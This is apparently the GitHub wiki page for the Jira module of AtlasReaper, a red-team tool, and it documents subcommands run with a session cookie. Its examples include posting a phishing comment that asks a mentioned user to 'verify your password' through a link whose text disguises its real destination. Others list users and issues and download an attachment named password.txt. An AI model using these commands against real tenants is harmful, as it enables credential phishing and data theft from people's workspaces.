Skip to content
werdhaihai edited this page Jul 15, 2023 · 6 revisions

Jira Subcommands

The jira command contains several subcommands.

Help

.\AtlasReaper.exe jira --help

                                                   .@@@@
                                               @@@@@
                                            @@@@@   @@@@@@@
                                          @@@@@   @@@@@@@@@@@
                                         @@@@@  @@@@@@@@@@@@@@@
                                        @@@@,  @@@@        *@@@@
                                          @@@@ @@@  @@  @@@ .@@@
   _  _   _         ___                       @@@@@@@     @@@@@@
  /_\| |_| |__ _ __| _ \___ __ _ _ __  ___ _ _   @@   @@@@@@@@
 / _ \  _| / _` (_-<   / -_) _` | '_ \/ -_) '_|  @@   @@@@@@@@
/_/ \_\__|_\__,_/__/_|_\___\__,_| .__/\___|_|    @@@@@@@@   &@
                                |_|             @@@@@@@@@@  @@&
                                                @@@@@@@@@@@@@@@@@
                                               @@@@@@@@@@@@@@@@. @@
                                                  @werdhaihai
AtlasReaper 1.0.0.0

  addcomment         Add a comment to an issue

  attach             Attach a file to an issue

  createissue        Create an issue

  download           Download attachment(s)

  listattachments    List Attachments

  listissues         List Issues

  listprojects       List Jira Projects

  listusers          List Atlassian users

  search             Search issues

  help               Display more information on a specific command.

  version            Display version information.

AddComment

The addcomment subcommand can be used to add a comment to an existing Issue.

Help

PS C:\> .\AtlasReaper.exe jira addcomment --help

  --at             User id to @ on the comment (get user id from the jira listusers command)

  -l, --link       Required. Url to link to

  -m, --message    Message to add to the issue comment (i.e. I need you to take a look at this)

  -i, --issue      Required. Issue name

  -t, --text       (Default: Here) Link text to display

  -u, --url        Required. Jira URL

  -c, --cookie     cloud.session.token

  -o, --output     Save output to file

Example

This example uses all of the flags. This will @/mention (--at) the user associated with the provided user id. It leaves a message (-m) and adds a deceptive link. The deceptive link will appear to be for the link text, https://stricklandpropane.com/login, specified with the -t/--text flag. The href will actually go to https://example.com/login, specified in the -l/--link flag.

PS C:\> .\AtlasReaper.exe jira addcomment `
	--at e97bdc83f25a6e109e8c7a4d
    -i DEV-1 `
    -m "Can you verify your password here?" `
    -l "https://example.com/login" `
    -t "https://stricklandpropane.com/login" `
    -u $URL `
    -c $COOKIE 

Attach

Help

PS C:\> .\AtlasReaper.exe jira attach --help

  -a, --attachment    Attachment Id to attach to page (if attachment is already created)

  --comment           (Default: untitled) Comment for uploaded file

  -f, --file          File to attach

  -i, --issue         Issue to add attachment

  -n, --name          Name of file attachment. (Defaults to filename passed with -f/--file

  -t, --text          Text to add to page to provide context (e.g "I uploaded this file, please take a look")

  -u, --url           Required. Jira URL

  -c, --cookie        cloud.session.token

  -o, --output        Save output to file

  --help              Display this help screen.

  --version           Display version information.

Example

CreateIssue

Help

PS C:\> .\AtlasReaper.exe jira createissue --help

  --at                User id to @ on the comment (get user id from the jira listusers command)

  -i, --issue-type    Required. Issue type to create

  -l, --link          Url to link to

  -m, --message       Message to add to the issue (i.e. I need you to take a look at this)

  -p, --project       Required. Project to create issue for

  -s, --summary       (Default: Looking for Solutions) Issue summary (title)

  -t, --text          (Default: Here) Link text to display

  -u, --url           Required. Jira URL

  -c, --cookie        cloud.session.token

  -o, --output        Save output to file

  --help              Display this help screen.

  --version           Display version information.

Example

Download

The download subcommand can be used to download attachments discovered on issues. Attachments are supplied with the -a/--attachments flag in a comma separated list. Supply the -o/--output flag to set the directory to save the attachments to. Attachment ids can be retrieved using the listattachments subcommand.

Help

PS C:\> .\AtlasReaper.exe jira download --help

  -a, --attachments    Required. Comma-separated attachment ids to download (no spaces)

  -o, --output-dir     Directory to save downloads to

  -u, --url            Required. Jira URL

  -c, --cookie         cloud.session.token

  -o, --output         Save output to file

  --help               Display this help screen.

  --version            Display version information.

Example

In this example, the download subcommand is used to download an attachment with id 10000 to the C:\Windows\Tasks\ directory.

PS C:\> .\AtlasReaper.exe jira download `
	-a 10000 `
	-o "C:\Windows\Tasks\" `
	-u $URL `
	-c $COOKIE

ListAttachments

Help

PS C:\> .\AtlasReaper.exe jira listattachments --help

  -a, --all         (Default: false) Return all attachments for supplied project id

  --all-projects    (Default: false) Return attachments for all projects. WARNING!! This can make a lot of requests!

  -i, --include     Comma-separated list of extensions to include (e.g. png,jpeg)

  -l, --limit       (Default: 100) Number or attachments to return

  -p, --project     Project to return attachments for

  -x, --exclude     Comma-separated list of extensions to exclude (e.g. png,jpeg)

  -u, --url         Required. Confluence URL

  -c, --cookie      cloud.session.token

  -o, --output      Save output to file

  --help            Display this help screen.

  --version         Display version information.

Example

ListIssues

The listissues command can list issues from a single project or all projects. To include any attachments or comments on the issue use the --attachments or --comments switches.

Example

PS C:\> .\AtlasReaper.exe jira listissues --help

AtlasReaper 1.0.0.0

  -a, --all        (Default: false) Return all matches

  --attachments    (Default: false) Include attachments

  --comments       (Default: false) Include Comments

  -i, --issue      Issue to list

  -p, --project    Project Key or Id to list issues from

  -l, --limit      (Default: 100) Number of results to return

  -u, --url        Required. Jira URL

  -c, --cookie     cloud.session.token

  -o, --output     Save output to file

  --help           Display this help screen.

  --version        Display version information.

Example

This example lists issues from the DEV project and includes the comments and attachments for the issue.

PS C:\> .\AtlasReaper.exe jira listissues ` 
	-p DEV ` 
	--attachments ` 
	--comments `
	-u $URL `
	-c $COOKIE

Authenticated as: Hank Hill
  Issue Title    : Password Reset
  Issue Key      : DEV-1
  Issue Id       : 10012
  Created        : Today 5:32 PM
  Updated        : Today 5:42 PM
  Status         : Open
  Creator        : [email protected] - Buck Strickland - America/Chicago
  Assignee       :  -  -
  Issue Contents : I need a password reset.

  Attachments    :

    Filename      : password.txt
    Attachment Id : 10000
    Mimetype      : text/plain
    File size     : 0.0 kB


  Comments       :

    - [email protected] - Hank Hill - Today 5:40 PM
             Your new password is attached in a file.

    - [email protected] - Hank Hill - Today 5:42 PM

ListProjects

Help

PS C:\> .\AtlasReaper.exe jira listprojects --help

AtlasReaper 1.0.0.0

  -a, --all       (Default: false) Return all matches

  -l, --limit     (Default: 50) Number of results to return

  -s, --sortby    (Default: issues) Sort By "issues" for total number of issues or "updated" for most recently updated
                  issues

  -u, --url       Required. Jira URL

  -c, --cookie    cloud.session.token

  -o, --output    Save output to file

  --help          Display this help screen.

  --version       Display version information.

Example

PS C:\> .\AtlasReaper.exe jira listprojects `
	-u $URL `
	-c $COOKIE

Authenticated as: Hank Hill

Total projects = 1

  Project Name        : DEV
  Project Key         : DEV
  Project Id          : 10001
  Project Type        : software
  Last Issue Update   : 2023-06-20T17:28:53.707-0700
  Total Issues        : 1
  Project Description :
  Project Issue Types :
                        Improvement
                        Task
                        Sub-task
                        New Feature
                        Bug
                        Epic

ListUsers

The listusers subcommand lists out all users of the Atlassian tenant. The --full switch outputs additional information about each user, including the User Id and status of the user. The User Id can be used in other operations to mention one or more users.

Help

PS C:\> .\AtlasReaper.exe jira listusers --help

AtlasReaper 1.0.0.0

  -f, --full      (Default: false) Return display name and email

  -u, --url       Required. Jira URL

  -c, --cookie    cloud.session.token

  -o, --output    Save output to file

  --help          Display this help screen.

  --version       Display version information.

Example

This example lists users in the Atlassian tenant using the --full switch to output the additional information about users. The user id can be used in several attacks to @/mention users.

PS C:\> .\AtlasReaper.exe jira listusers `
	--full `
	-u $URL `
	-c $COOKIE

Authenticated as: Hank Hill
User Name : Buck Strickland
User Id   : e97bdc83f25a6e109e8c7a4d
Active    : True
User Email: [email protected]

User Name : Hank Hill
User Id   : a2f9b8c74d5e36a1eab7c3fd
Active    : True
User Email: [email protected]

Search

The search subcommand allows searching by keyword with the -q/--query flag. It is possible to use the --attachments and --comments flags to include attachments and comments for issues returned with by the search query.

Help

PS C:\> .\AtlasReaper.exe jira search --help

  -a, --all        (Default: false) Return all matches

  --attachments    (Default: false) Include attachments

  --comments       (Default: false) Include Comments

  -l, --limit      (Default: 100) Number of results to return

  -q, --query      Required. String or phrase to query

  -u, --url        Required. Jira URL

  -c, --cookie     cloud.session.token

  -o, --output     Save output to file

  --help           Display this help screen.

  --version        Display version information.

Example

Clone this wiki locally